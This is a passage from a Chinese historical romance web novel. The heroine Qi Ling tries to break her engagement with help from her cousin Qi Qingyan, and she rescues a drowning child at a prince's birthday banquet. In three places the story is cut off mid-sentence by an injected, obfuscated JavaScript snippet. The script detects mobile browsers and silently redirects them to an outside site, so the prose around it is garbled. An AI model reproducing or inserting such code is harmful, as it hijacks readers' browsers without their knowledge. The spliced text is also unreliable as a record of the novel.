祁清宴不赞同最后一句:“姑母过得可潇洒多了。” 沈老夫人不接这话儿,只一个劲儿的叹息,瞄着祁清宴也没有接她茬的意思,只好自己开口,“今日正巧你来了,祖母将这件事交给你如何?别损了她名声,也不别同往上走的卢家交恶,好好地把婚退了。” “祖母不是等着孙儿来呢么?”祁清宴挑眉,似笑非笑道。 沈老夫人被噎住,昨日听说朝中动荡,她是猜到祁清宴今日会回府一趟。人老了不想费神,索性将事情丢给孙子去做,反正偌大的祁家早晚都要交到他手中,早挨点累也无妨。不料被识破了,她无奈道:“你可一点不给祖母留面子。” 祁清宴笑起来,眼也笑,这会儿才是诚心实意的笑。他站起身,向沈老夫人行了个十分标准的礼,“孙儿自当为祖母分忧。” “得了得了,回去吧。”沈老夫人瞧他衣摆沾染了雨水,也明白自己这孙儿定要回去更衣,忍不了一点,不知道这毛病是从哪来的。 祁清宴应是,待他走到门口,沈老夫人突然唤他一声,“阿质。” 那是祁清宴的乳名,他大概有许久,十多年都没听到过了。他愣了一瞬,回头望去。 沈老夫人眉目凝着几分郑重,又嘱咐道:“阿质,她也是你妹妹。” 妹妹? 好吧。祁清宴一笑,又应是。 …… 祁泠两只手攥着裙摆,她不知道跪在这里是否有用处,但她没有别的法子。 即使将卢家婚前有子的事说出去,只不过徒添一桩丑闻而已,大多数人只会像之前谈论卢肇月狎妓那般,再为他添一笔风流。 脚步声忽而在她身旁响起,惊扰她思绪。 祁泠眼中进了雨水,眨眼再睁开时带着涩意,勉强看清来人,雪青色绸缎长袍衣摆如流云,身姿修长挺拔。 “泠妹妹。” 祁泠抬起头,方才的雨声太大,她没听见有人走到身边,故而一抬眼撞进他的眼中。 他有着似墨的乌润眼眸,眼尾长微挑,形若桃花瓣,眉眼被雨雾渲染得柔和,五官端正,无可挑剔,一只手持着竹骨伞。 他将伞倾向她,从伞沿落下的雨水成了帘幕,将两人笼在其下,隔出一方小天地,烟尘尽数绝断。 祁清宴微微俯身,朝她伸手,手上放着一方素白帕子,清朗面容透着清浅笑意,道:“走吧,祖母把你交与我了。妹妹。” 笑眼弯弯,含善。 4. 第四章 耳边忽而寂静下来,再听不到旁的声音,祁泠仰着头,看着他的面容,难免有一点困惑。 她鲜少见到祁清宴,偶尔在老宅遇见,也相距遥遥,更从未单独说过话。 祖母让他来,来帮她退婚? 她曾听说,祁清宴与祖母之外的祁家人都不甚亲厚。他从小被送到外祖慕容家,在那住了八年,回来后住在外面,不常归府。 “怎么,妹妹不信我么?”他轻笑一声,又将祁泠的思绪引回雨中,他笑起来时,眼尾微微下压,轮廓柔和,是很容易让人卸下心防的模样。 “不是……堂兄。”祁泠下意识回答,也按照辈分唤了他。她只是惊讶罢了,他并没什么好骗她的。 他的手向前伸了伸,“快起来吧,地上凉。” 祁泠盯着那只手,上面覆着的帕子沾到些雨水,几处洇湿,透露掌心肤色,再往下,流云银线袖口处手腕筋骨显露。 她犹豫着,也在心中说服自己,这是她堂兄,扶她一把罢了,算不得大事。而且他为了避嫌,已经拿着手帕,若是她拒绝反倒有些刻意……不识好歹了。 她将手伸过去,葱白柔软的手轻轻落在帕子上,带来一丝女儿香,轻声道:“多谢堂兄。” “三郎君,三娘子!” 听荷抱着披风,从房中出来,正巧看见这一幕,心里陡然一跳。她走上前,用刚从箱子中翻出来的披风罩住湿透的祁泠,扶她起来。 而祁清宴在听荷走近时,就松了手,略微退后,任由听荷去扶祁泠。 祁泠靠着听荷,大半身子都压在她身上,站起身的一瞬双腿没了知觉,险些栽倒,膝盖后知后觉蔓延开刺痛,想来应是破了。 这时她才明悟,方才祁清宴为何要伸手去扶她,原来跪久了,她自己是站不起身的。 听荷对着两人解释,“老夫人让奴婢出来送送郎君和娘子。” 祁泠后知后觉自己衣衫湿透,攥紧披风边缘,扯了扯,将自己裹得更紧些,转头对听荷道:“谢过听荷姐姐,姐姐也帮我同祖母道声谢。” 听荷连连点头应下,她方才在屋里听全了祖孙俩的话,目光不自觉扫向站在一旁持伞的祁清宴。郎君清贵疏离,方才他亲手去扶人的一幕,像是她的错觉。 她在老夫人身边伺候的久,已有五六个年头,对这位祁家三郎多些了解。他素来不喜与人接触。侍女若无吩咐,不能擅自进他的卧房和书房,被老夫人说是怪性子。 但听荷转念一想,泠娘子毕竟是主子,还是堂兄妹,是旁人比不得的。这样想着,又很正常。 “我送娘子回去吧,免得着了凉。”听荷道。 “不必。她与我走。”祁清宴突然开口。 听荷又是惊讶,瞧见祁清宴淡漠的神情,才恍然想起来,他又怎会同人解释所作所为。是而,她将伞递向祁泠。 祁泠神情有几瞬的凝滞,突如其来的情况弄得她不知所措,茫然接过听荷递来的伞,见听荷即将被雨淋到,又倾伞过去。 听荷忙摆摆手,“不必劳累娘子,奴婢快走几步就到了,娘子快同郎君走吧。” 听荷冒着雨走远。祁泠眼前没了遮挡,又能见到祁清宴,他没再多言,转身离去。 祁泠只好在后跟上。 湿透的裙摆紧贴在身上,绣鞋被浸得发沉,祁泠一手持伞,另一手拉紧披风,快走才勉强能赶上他的步伐。 走过一条长长的廊道,两三月洞门,穿过一片翠绿的婆娑竹影,鸟鸣声清幽,便到了琅玕院。 琅玕院前候着两位侍女,无不身段高挑,花容月貌,若是不知还以为是谁家的娘子,两人齐齐问了安。 站得靠前,穿粉红斜襟比甲配绿叶裙的侍女活泼些,上前一步,“郎君竟趁雨归府了,真是稀奇,奴婢刚听瑞霭堂传来的信儿还不相信呢。” 祁泠一路落后下来,走到这处已经离祁清宴有五六步远了。她驻足停下,因着祁清宴闲庭信步,亦从未回头理会过她,她怀疑自己是不是听错了话,他并没让她过来? 祁清宴回头,看她,喊了声,“妹妹。” 不是假的。 祁泠几步快走过去,一开始出声的侍女看着祁泠,问:“郎君,这是谁啊。” “碧若,莫要无礼。”另一位稳重些的侍女上前,向祁泠俯身行礼,“奴婢青娥,问泠娘子安。” 碧若也随着她行了一礼。 祁泠颔首以回,内心惊奇于青娥的机敏,她从未在旁处见过青娥,青娥却能一眼认出她来。 “青娥,带她去换身衣裳。”祁清宴简单吩咐后离开。 碧若朝着他走的方向跟了两步,却没再追。青娥看在眼中,开口道:“碧若,你去趟绣房,取身泠娘子的衣裙过来。” 碧若嘟起嘴,不大乐意,想说什么又没说出口,打着伞走远了。 青娥对祁泠略带歉意地笑笑,“娘子,碧若年纪小,心思都挂在脸上,没有坏心思,等她回来奴婢会说教她。” 祁泠笑着摇头,并没放在心上,倒从碧若身上看出几分银盘的影子来。想起银盘,今日冯夫人只许她一个人来,银盘留在了玉盘身边。她觉得也好,并不想银盘陪着她一起受罪。 琅玕院是离瑞霭堂最近的院子,是祁家留给祁清宴成婚后住的,只比老夫人的院子小一些。 客房的浴堂内,褪去被雨淋得湿透发沉的衣裙,浑身浸在热水中,祁泠浑身暖洋洋的,恨不得长久埋在水里。 碧若端着托盘走进雾气蒙蒙的浴堂,托盘上面整齐叠着衣裙,小衣袜子都有。 青娥舀着水浇在祁泠身上,听见脚步声回头,眼神扫过一遍,放下手中木勺,拧眉问,“绣鞋呢?” “一时哪里能寻到合适的?绣娘说她们那处没有泠娘子的尺寸,衣裙还是用郎君没裁过的衣料同舒娘子那份换了,还不知大小呢。”碧若颇有怨气,她自打成了琅玕院的侍女,走到何处不是被人客客气气的对待,今日头一回在绣房受气。 青娥冷冷道:“这样的说辞,你到郎君面前去说吧,自看他会不会饶你。” 碧若紧闭着嘴,到底是没了底气,没反驳。郎君不算苛刻,却不容许下面的人出错。 “绣房的确没有我的尺寸,我的衣裳鞋袜都是二房自己在外面裁的。”祁泠不理会碧若的无礼。她知道自己是养女,吃穿用度都是走冯夫人体己,不算祁府的主子。 “青娥,能否帮我寻个人去二房找我的侍女银盘,让她带我的鞋子过来。”祁泠冷静提议着,她既已到了琅玕院,不能穿着旧鞋到处走,自然也不能等着鞋干透再回去。 “可郎君还在等着……” 碧若话还没说完就被青娥刀了一眼。她早该想到这点的,多拿几双大小不一的回来试试,或是在绣房找双能穿上的布履,何必要撂人面子。 碧若是觉得祁泠平白无故多事,又在府中听说过关于祁泠身世的一点流言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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察觉出她的羞赧,祁清宴坐起身,指了指一旁的竹凳,“妹妹坐下吧,可否与我细说退婚原由。” 他的态度寻常,祁泠的尴尬无措便也少些,又听他提起退婚二字,心思被转移。 能同冯夫人能说出的话,此时变得有些难张开口。对面是男子,名义上虽是堂兄,但实际与她而言,他与陌生人没什么差别。 她坐在冰凉的竹凳上,将脚往回缩,用垂下的裙摆遮挡住鞋袜,在心里斟酌一番后道:“卢家待人不仁,非可托付之家。而卢肇月……许诺未守,非良人。” 女娘一双柳叶眼线条柔和,似浸着秋水光晕,黛眉微蹙如远山含雾,咬着字、字正腔全地说,既不张扬又因着语调不显露慌张。 祁清宴偏问:“何约?” 祁泠神情一滞,攥紧袖口,繁琐的金线刺绣压在她掌心。她垂眸,睫毛似蝶翅忽闪,缓缓开口道:“只守一妻。” 室内静下来,又恍若回到方才在瑞霭堂前,两人共处同一伞下。 祁泠察觉到他的目光落在她身上,很轻很淡,不夹杂任何情绪,却让人手心生汗,莫名压迫。 一声清脆的鸟鸣打破静谧。 祁清宴轻笑一声,若丝竹和鸣,语调散漫,“若妹妹这般,恐难觅良婿啊。” 良婿。 祁泠紧紧咬住下唇,她自己也知道难。 但这不与男子要求妻子贤良淑德、传宗接代、宽容大度、妻妾和睦一般么?而她只是要求为人良善,待她专一,岂不比大多数男子要求更轻易? “那堂兄呢?”她的声音很轻。 祁清宴问:“什么?” 祁泠抬头同他对视,“若堂兄娶了妻,也会狎妓纳妾,不为良婿么?” 祁清宴神情不变,看着她不说话。祁泠也不回避,任由他的目光落在身上。 5. 第五章 为了避嫌,书房的门没关压,半阖着。 青娥走近,听内里没声音,轻敲了敲门,“郎君,泠娘子身边的银盘来了。” “江州临水,妹妹长在那儿,沾了钟灵毓秀之气,定能觅良婿。”祁清宴收回视线,未答祁泠的惑,又道:“后日,瑞阳王妃大寿,祖母同她有些交情,定会前去。祖母年龄大了,出行不便,妹妹陪着祖母一同去,如何?” 祁泠点头应下。 见她如此听话,祁清宴笑问道:“妹妹想知道何时退婚么?” 祁泠顺着问道:“何时?” 祁清宴道:“后日便可。” …… 祁泠同银盘回了二房,吃不好睡不好的等了两日,琢磨不出来要如何退婚,好不容易挨到了祁清宴说的后日,早起拾掇好自己到瑞蔼堂前等着。 辰时方过,听荷搀着老夫人出了门。沈老夫人将近耳顺之年,身形却未佝偻,仍能看出年轻的尊贵与气度来。她久不见客,今日难得要出门去,沧桑褶皱的眼端详着站在一旁的祁泠。 今日祁泠衣裙是冯夫人给她挑的,蓝白折裥长裙,肩系同色披帛,戴一顶纱制小花冠,花冠点缀着一圈珍珠,搭珍珠耳坠,整个人清丽素雅,宛如枝头初绽的玉兰花。没有旁的女娘奢靡,但她站在那儿,不自觉就惹了旁人眼。 祁泠行了个对长辈的礼,十分标准,“给祖母请安。” 这般模样,若退了婚,也不知是福是孽。沈老夫人无可奈何叹叹气,“你起来吧。”又转头问身侧仆妇,“小岚呢,昨个千叮咛万嘱咐,让她带着舒儿也来,怎没影了?” 仆妇俯身回话,“禀老夫人,姑奶奶带着舒娘子和二郎君先出门访友去了。姑奶奶派人来,说舒娘子好不容易才出门一趟,她要带着多见见世面去。” 沈老夫人哼一声,“就这一会儿的功夫,能去见几个人?大的怕不是要带坏小的,她到处闲逛,带我的舒儿作甚?” 仆妇在老夫人面前很有脸面,应是亲近的人,打趣着为其说话,“老夫人还想姑奶奶和舒娘子不成,不过片刻,等到地方不就见到了。” 祁泠知道姑奶奶指的是祁观岚。这位姑母过着极潇洒的日子。和离后十多年未再嫁,被母亲和两位兄长庇佑着,平日素喜出门访友。 沈老夫人提起女儿和外孙女时,语气亲昵,自是她比不了的。祁泠一路跟在沈老夫人旁,不多话。 瑞安王妃五十五大寿,王府门前红绸灯笼高挂,宾客众多,在前迎候的侍从也喜气洋洋。祁家的马车一到正门,便有特意候着的嬷嬷迎上,带着老夫人往后院王妃在的地方去。 王府高墙耸立,一行人过石刻影壁,眼前惑然开亮,正殿五扇红朱漆的门齐齐开着,等待拜寿的宾客大多聚在此处。 因着老夫人同王妃是故友,嬷嬷带着人从院侧绕行,方进后院,可见高楼池榭不断,壮丽而精致。 嬷嬷也自豪,介绍道:“是今年新修的院子。” 池边有娘子们在赏花,花艳丽,人也娇,一时分不清哪个更好。 后殿雕梁画柱,宽敞明亮,瑞安王妃高坐正位,绛红蔓枝纹深衣,盘高髻,簪珥下坠纯金凤首。 瑞安王妃见到人,忙拄着拐杖走下,她颧骨高,脸长些,见沈老夫人神情激动,脸上褶皱更明显。两位故友紧握双手,多年未见,难能重逢。 瑞安王妃拿着手帕,不断擦泪:“多年未见姐姐了,一晃都老了。” 沈老夫人眼眶红着,应着话,“可不,咱们都是有了孙辈的人呐。这几年我身子骨差了,连院子都少出,今日若不是你过大寿,我也是出不来的。” “唉……”瑞安王妃道:“……当初姐姐吃了太多苦,祁将军早早没了,扔下姐姐一人吃苦,拉扯孩子,谁能料到会这样?” “不说了,今日可是你好日子,我特意来给你祝寿,不提这些死了活了的人。”沈老夫人拍了拍她的手。 瑞安王妃不断拭泪,只哽咽道好,瞥到沈老夫人身后的祁泠,眼前亮上一亮,看向沈老夫人,“这是……?” 沈老夫人也转头望了眼祁泠,祁泠上前问安简单祝寿后,沈老夫人同瑞安王妃说:“这是我二儿子的女儿,在祁家排行老三,从小跟着爹娘在江州,刚回建业不久,今日带她来给老夫人祝寿,要出嫁了,沾沾你过寿的喜气。” 瑞安王妃眯了眯眼,想不起来是谁,带祁家人来的嬷嬷凑上前,掩着手,低声说了几句话。 瑞安王妃嘴角的弧度落下,眼中闪过几丝倨傲的轻视,语气带着几分惋惜:“模样生得倒是好,水灵灵的,等会儿去外边水榭玩吧,年纪小待不住。” 嬷嬷在一旁添道:“王府后院新建了水榭、庭院、又引了几个湖来,陛下下令修葺,添了好些个小桥,各样式都有,以便王妃夏日乘凉。宫中送来开得正好的牡丹,娘子和郎君们都在赏花作画吟诗,王妃说,文采最好的,要将皇上新赐下来的一对玉佩给出去呢。” “说这么多做什么?”瑞安王妃拧眉一斥,又同沈老夫人笑眯眯道:“左不过是陛下念旧情,记得当年兄嫂的一点情分罢了。” 嬷嬷住了嘴,面上却没有惹恼主子的忐忑。其余人也都知道,瑞安王府有多得圣眷了。 沈老夫人赞了几句皇帝仁德,又捧了瑞安王妃一阵,两人才各自落座。方坐下,老夫人转头同祁泠道:“你去找舒儿吧,让舒儿带着你玩。” 祁泠念着祁清宴让她留在祖母身边侍奉的话,没去,“阿泠陪在祖母身边便好。” 沈老夫人并未强求,反倒是对着瑞安王妃笑呵呵的:“我这孙女就是安稳性子,不喜出去,平日在家侍奉她母亲惯了,今个儿让她陪着咱们两个也好。” 瑞安王妃听了这话,态度倒是变了,伸手朝祁泠招了招,将她唤到近处,仔仔细细地端量过,夸着:“可真是个稳重的好孩子,乐意陪在长辈身边,方才几家的娘子来,拜过寿都走了,正是花一般的年纪,不乐意陪老太太闷着。” 看得久了,她又啧啧叹一声,“怎么有生的这般好?看得人心情舒畅,放在身边不知有多省心。”瑞安王妃这回是实打实地惋惜,又问沈老夫人,“不知是谁家这么有福气,得了她去?” 沈老夫人道:“卢家。” “啊……卢家啊。”瑞安王妃眼角下压,想起这卢家颇受新帝信任……方涌起的念头也散了。 她道:“好孩子,何苦在这里陪我们两个耗着,还是出去看看花吧。” 祁泠下意识看向沈老夫人,沈老夫人点点头,她遂告退出去,银盘一直等在门口,忙迎上她。她还没来得及喘气儿,候在殿前的宫女见她出来主动来问,“可是祁家二房的娘子?可要是去何处?” 祁泠点头,又不免疑惑,今日瑞安王府的人这么多,她从未来过,为何这宫女一眼就能认出她来。她带着些提防,问:“你怎知我是谁?” 宫女长得圆润和善,一团和气笑着回道:“方才奴婢瞧见娘子跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583792|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着祁家老夫人一同进殿。听说今个儿会来两位祁家的娘子,而另一位祁娘子已经来过了。” 原是如此。祁泠想起方才老夫人的嘱咐,让她去找祁观岚的女儿祁望舒,这偌大的王府,她同银盘都不识路,自然是找不到的。故而,她道:“好,多谢你了。” 宫女在前引路,“娘子太过客气了,奴婢不过是王府中的下人,哪里要让娘子奴婢道谢呢。” 由殿前走过,进八角门中便是四面游廊,横排着一面低矮的花墙,从远处望去,隐见几处亭榭,墙内锦衣笑语,假山错落,水声不绝。 各位娘子郎君大多在花墙内。但这宫女未带祁泠过去,反倒从幽径绕行,前方假山居多,人影稀少。 祁泠问出来,宫女却解释道:“祁大娘子随着祁夫人去郡王妃处拜访,这处是新修建的后院,郡王妃仍住在旧院子。” 沿着假山再走一段,路愈发狭隘。 “救命!救命!”尖细的声音响起,一个太监模样的人,连滚带爬地从假山中冲出来,扑倒在地,两条袖子湿漉漉的,衣摆黏满淤泥。 祁泠被他模样吓得心中一跳,往后退了一步,银盘也忙贴到祁泠身边,害怕地扯住她衣袖。 小太监见到人,忙爬起来跪着,哭着大喊:“小主子掉湖里了,快去救救小主子吧,再迟些,恐怕要不行了!” 带路的宫女也大惊,“小主子?” 祁泠在江州长大,江州多湖,她水性尚可,听到有人落了水,忙问:“在哪儿?” 小太监抬起手,手指不停颤抖,指了指假山内里,“里面……娘子行行好,快救救人。” 内里是假山小洞,恐怕要穿过去才行,祁泠提起裙摆弯腰往里面走,银盘拽了拽她袖头,总觉诡异得紧,皱着脸,“不可啊,娘子,在外……” 祁泠何尝不觉怪异,但这离花墙水榭不远,那边人多,遇到事了也能逃脱,她与瑞王府毫无联系,应该不会有人故意设计害她。 况且,她会凫水,怎会见死不救,只安慰一句:“没事,我们先去看看。”银盘此刻真恨当初为何偷懒没与祁泠一起学,知道救人要紧,紧紧跟着祁泠往里走,也做好发觉不对就大喊的准备。 从假山穿过去,湖水小桥映入眼帘,湖中央泛着水花,溅起的涟漪逐渐弱下。祁泠脱下披帛,递给银盘,淌着水快走进水里。 水浸入口鼻,祁泠朝中间游去,不时浮出水面换气。 水中一切变得模糊,祁泠听不到任何声音,只见一团深色衣裳渐渐往下沉去,看身形果然是个孩童。她憋着气,用力挥动手臂,接近后一手抱住孩童的腰,转个方向,朝着岸边去。 这湖不大,却极深。等脚下有了着落,祁泠已将近脱力,她勉强站起身来,推孩童到岸边,一旁候着的两个宫女忙接过人。 虽是夏日,浑身湿透,风一吹亦是冰凉,忽而一片温暖,她扭头一看是银盘,将一件厚实的长披风罩在她身上。 “娘子,还好么?”银盘握紧她冰凉的手,扶她往岸上走。 祁泠咳了咳水,摇头说无事。 待她彻底走上岸,岸边忽而熙熙攘攘,一股脑涌来不少人,方才的小太监又跑远去唤了更多人来,背着药箱的府医也赶来,一大堆人围在落水的孩童旁边。 花墙边上也聚着人,不少郎君和娘子被这边的喧闹声吸引而来。 祁泠握紧不知从何处来的披风,抬眸望向对面花墙,撞进一双熟悉的乌润眼眸。 6. 第六章 岸对面娘子们三三两两聚在一处,交头接耳轻声私语,瑶簪宝珥,衣香云鬓。亦有奴仆簇拥着的郎君,锦冠长袍,五陵豪气。 祁清宴如看客,站在贵族子弟中央。 祁泠忽而打了个冷颤,湿透的衣裙带来刺骨的寒。 “娘子……”银盘紧紧贴在祁泠身旁,握住她冰凉的手,企图驱去冷意。和落水的孩童相比,她家娘子成了不紧要的人,下人皆围着小主子着急打转,无人理会这处。 “晖儿,我的晖儿!” 瑞安王妃人未到,带着惊恐与担忧的喊声来的更早,她踉跄从假山后奔出,全然没了方才的华贵从容。 在场的众人皆俯身行礼,问王妃安,而瑞安王妃无暇顾及旁人。“晖哥儿怎么样了?”她急切问守在一旁的府医。 孩童的衣服被解开,府医已施了一阵儿针,被瑞安王妃这一问,豆大的汗珠从花白的鬓角滴落,全身冒冷汗,生怕救不好人,自己也丢了命,勉强稳住手,向着腹部中脘穴扎去—— 地上的孩童突然呕出一口水来。 他这才抬袖擦了擦额间的汗水,颤巍巍道:“幸好救得及时,气息尚在,尚在……” 被瑞安王妃死死盯着,府医连汗都来不得擦,起身抬手道:“禀王妃,小世子应是无碍了……再去寻一头牛,背着小世子走上一段,将腹中积水全排出来,这命便保下了。” “那快去!”瑞安王妃吩咐完往后退了一步,眼神一直在孙子身上,盯着几个侍从和府医挪动小世子。她攥着手帕,紧紧捂着胸口,大口喘着气,捡回一条命般。 王府嬷嬷简单问过小太监,走上前对瑞安王妃低语几句,说话时朝着祁泠这边瞄了瞄。 瑞安王妃几大步上前,握住祁泠的手,眼中都带上了泪,“好孩子,多亏你了。若是晖儿有个好歹,我这把老骨头再没了指望。” “王妃言重了,阿泠只是路过,是小殿下福泽深厚,命不该绝。”祁泠福了一礼,并未揽功。 “好孩子,快去换身干净衣裳,等会儿咱们再好好说话。”瑞安王妃拍了拍祁泠的手,她心里惦记着小孙子,祁泠自然明白,听听告退。 小世子没事,在场的仆从都松了一口气。若真没了命,被牵扯进去的人都没好下场,便对祁泠这个顺带也救了他们的娘子生出几分好感来。 立刻有另一位嬷嬷上前引路,“娘子,客房往这边走。” 祁泠裹着披风跟上,未再回头。女儿家的名节重要,今日落水已然失了体面,夏日穿的裙子单薄,一沾水透得似纱,幸好在人来之前有了厚实的披风…… 披风?祁泠握紧披风,柔顺的绸缎料子,她今日并未带披风来。她压低声音,问身侧的银盘,“披风是谁给你的?” “唔……”银盘蹙眉思索,“好像是带我们去寻舒娘子的宫女。” 祁泠略一驻足,打量四周,早没了那宫女的身影,还未来得及细想,一声呼唤拉回她思绪。 “泠妹妹。” 一位女娘梳高髻,着金线绣月的曳地长裙,匆匆从花墙那侧赶来,她杏眼长眉,温婉可人,迎上祁泠,眼中的关怀真切:“泠妹妹,你可有事?” 祁泠唤了声“姐姐”,笑着摇了摇头,“舒姐姐,我没事。现下要去客房换身衣裳。” “我同你一齐去。”祁望舒放心不下,快走几步与祁泠并肩走着,仔仔细细问过祁泠经过,知道她真的没事,蹙起的长眉才放平。 又听祁泠喊她舒姐姐,祁望舒脸上浮现笑意来,“说起来,自打你回建业,我们姐妹还没单独说过话呢,今日是头一回。” 祁望舒比祁泠大上一岁多,母亲祁观岚和离归家后,一双儿女也改了祁姓,躲过了灭门之祸,此后久住祁家。 幼时,祁泠已经与同是二房的祁云漱不对付,常常和有姐姐风范的祁望舒腻在一处,直到离开建业。 如今想起,只剩下模糊的回忆,却也知晓,那是极好的日子了。 祁泠便也笑道:“是阿泠的错,回来后不曾去望月居探望姐姐,以后得闲了定去。” 小时不知道身世,什么都不懂,自然混在一团玩。可如今长大了,懂得了,再回祁家,她不主动上前惹人烦。祁望舒待她却如小时一样,她心里涌着暖意,竟连冷也不觉了。 “得闲,莫不是搪塞我的话?” 两人一同往客房走,祁望舒揶揄道:“听母亲说,妹妹六月初就要嫁去齐家了,没想到你嫁得竟比我早这么多。当初听见时,我都惊了,没想到妹妹在江州许了亲,幸好成亲前回了建业,阖家才有团圆之时。” 笑意渐渐隐去,祁泠心中同姐妹叙话的欣喜如同秋中落叶,被风一吹,荡然无存。 当初便是考虑到这处,养父养母才着急她的婚事,更将婚期早早定下,并不打算让她长留祁家,祁家并不是人人期盼她归家的…… 她身子微微发起抖来。 “泠妹妹,你冷了么?” 祁泠勉强对着祁望舒扯起嘴角笑了下,点点头,尽量将小时候、她不愿再想起的事忘在脑后。祁望舒并不知道,不是有意提的。 但她神情有异,祁望舒看得分明,心下思量不解,面上却不表现出来,只道:“那泠妹妹,咱们快些走罢。” 祁泠点头,再往后沉默多了,总是走神,祁望舒估摸着其中另有隐情,便换了话来说。“三哥告诉我,你落了水,让我赶快来找你。” 祁泠混乱思绪忽而清明,想起方才岸边的一瞥,喃喃道:“堂兄……” 祁望舒噗嗤一笑,拿起帕子捂唇,睐一眼祁泠,“你怎叫的这么生疏?咱家同旁人家不同,各房排辈混在一起,我们可都是一家人,唤他三哥就是了。” 唤祁清宴三哥,祁泠想象不出那场面,只好笑笑,不知该如何说。 祁望舒诶呀一声,“莫不是你看他与人不亲近?别看三哥对外人冷淡,那因着有所求的人太多,他不肯理,任凭旁人怎求也不应。但我们不同啊,同是祁家人,他对咱们这些兄弟姐妹是极好的,遇事去找三哥准没错。” 她又小声同祁泠说:“就连我亲哥,也总跑去琅玕院,不过话大多要让青娥传达,三哥不在府里住,整日又神出鬼没的。” 这倒是,祁清宴不知会从何处冒出来,祁泠这几次见他都是如此。 祁泠被她的话逗笑了,小腹却像被人拽了一把,丝丝抽痛,她怕是着了凉,不敢再有大动作。 两姐妹到了客房。祁泠去里面,换过一身合身的衣裙,小腹坠着疼,她看着脱下的披风,沾着点血,又托嬷嬷帮她寻月事带过来。 这一来回,她耽搁好一会儿功夫才出门。 客房的院子中站着两个人。 祁望舒身边多了祁清宴,这对真正的兄妹叙着话。听见身后的脚步声,祁清宴回头,问她:“怎么脸色不大好?” 祁望舒走过去扶着祁泠肩膀,左右仔细端详,“确实,似乎比方才来的路上还苍白些,泠妹妹你哪里不舒服么?” 还未等祁泠回话,祁清宴已然吩咐候着门口的侍从:“去唤位府医来。” “不必了,堂兄。”祁泠摆着手,急急出声道。女儿家来月事总是虚弱些的,她习惯了,在旁人府上又不便。和祁清宴解释也难为情,只含糊道:“我没有大碍的。” “怎可讳疾忌医?”他站在不远处,微微蹙眉,端着兄长的模样,语气带上点训斥意味。 祁泠只好转头看向祁望舒,眼神颇为哀求,祁望舒心领神会,离祁泠更近,两人叽叽喳喳一番。 祁望舒便转头笑嘻嘻道:“女儿家的事,三哥不必管了。” 祁清宴难得沉默了。他属实不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583793|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知怎回事,两人都说不用,便也罢了。 前面传来丝丝锣鼓声,是将要到寿宴的吉。祁家今日老太太带着三房,二房祁泠,还有大房的祁清宴。三房的姑奶奶向来是个靠不住的,不知去了何处,老夫人这时候身边没了人。 祁清宴对祁望舒道:“你先去陪着祖母,祖母在外呆久了累,宴毕随祖母归家。之后我与妹妹一同去见瑞安王妃。” “也好。”祁望舒道。今日王府的小孙子出了事,瑞安王妃恐怕没心思再同人显摆,寿宴会草草结束。等宴毕,这事定要追究,说不定会乱成什么样。 况且,祖母在的地方都是夫人姑娘家,祁清宴过去并不方便。留下两人,她也并不担忧,在祁清宴身边,旁人是欺负不到祁泠的。 祁望舒走后,余下的兄妹两个站在廊庑之中,相隔几步远。 祁清宴问:“妹妹可知你今日救下的是谁?” 祁泠:“是瑞安王府的孙子。” “不光如此。”他好心补充给祁泠听,“既是王府的嫡孙,也是独孙。瑞安王二十年前还是个落魄庶族,身有弱症,无人肯嫁,娶了曾氏,两人生的儿子先天不足,身有残缺,儿再娶妻,好不容易得来的孙子,如今五岁,尚不会说话。” 他语调缓慢,祁泠却从中听出几丝嘲讽意。她看向四周,除了候在门口随他一起来的小童,和逗着小童的银盘,再没有其他人能听到两人说话。 她悄悄问:“那瑞安王府既无功勋,也无能撑起门楣的子孙,为何能如此得圣眷,仅因为是皇亲么?” 祁清宴望她一眼,她歪头看着他,眼里没有一点救了王府嫡孙待价而沽的算计功利,全是事不关己的好奇。 他没想到二房能将她保护得这般天真,倒是用了心养的。静默片刻,道:“今上和瑞安王一同长大,随先帝起事,将家中妻妾子嗣托付给瑞安王夫妇照料。两位皇子由瑞安王妃亲自看着长大的,尤其是失了亲母的五皇子。” “故而,只要不改朝换代,瑞安王府的煊赫还久着,今上只有两个成年的儿子,无论谁继承大统,都不会亏待位如养母的瑞安王妃。” 祁泠听得认真,心里在琢磨着其中厉害关系。今上怕没了命,将妻儿托付给那时的还未成为瑞安王妃的曾氏,那便是极好的交情,妻儿又被护得周全,也怪不得瑞安王妃如今被众人捧着敬着了。 瑞安王妃地位高,想来她的话少有人不从。祁泠忽而想起消失不见的引路宫女,不知从何处来的披风,为何祁清宴会笃定今日退婚…… 当真是巧合么? 祁泠试探问:“堂兄,我要用这份恩情去求瑞安王妃退婚吗?” 祁清宴还未答,一个小厮模样的高个男人出现在门口,候着的小童未拦,反倒跟着小厮一同进来,看起来很是熟稔。 小厮走到近处,行礼后对祁清宴道:“郎君,前面出事了。” 祁清宴勾唇,又让人看不清情绪,望了眼祁泠,“你不好奇出了什么事?” 若是事情与她无关,祁清宴又怎会直白问她。祁泠心中重重一跳,有了预感,顺着他问:“何事?” 小厮语气平淡,满脸公事公办,“是卢家郎君和杜家娘子私下相会,但出了意外。前面几家长辈正在商议此事。” 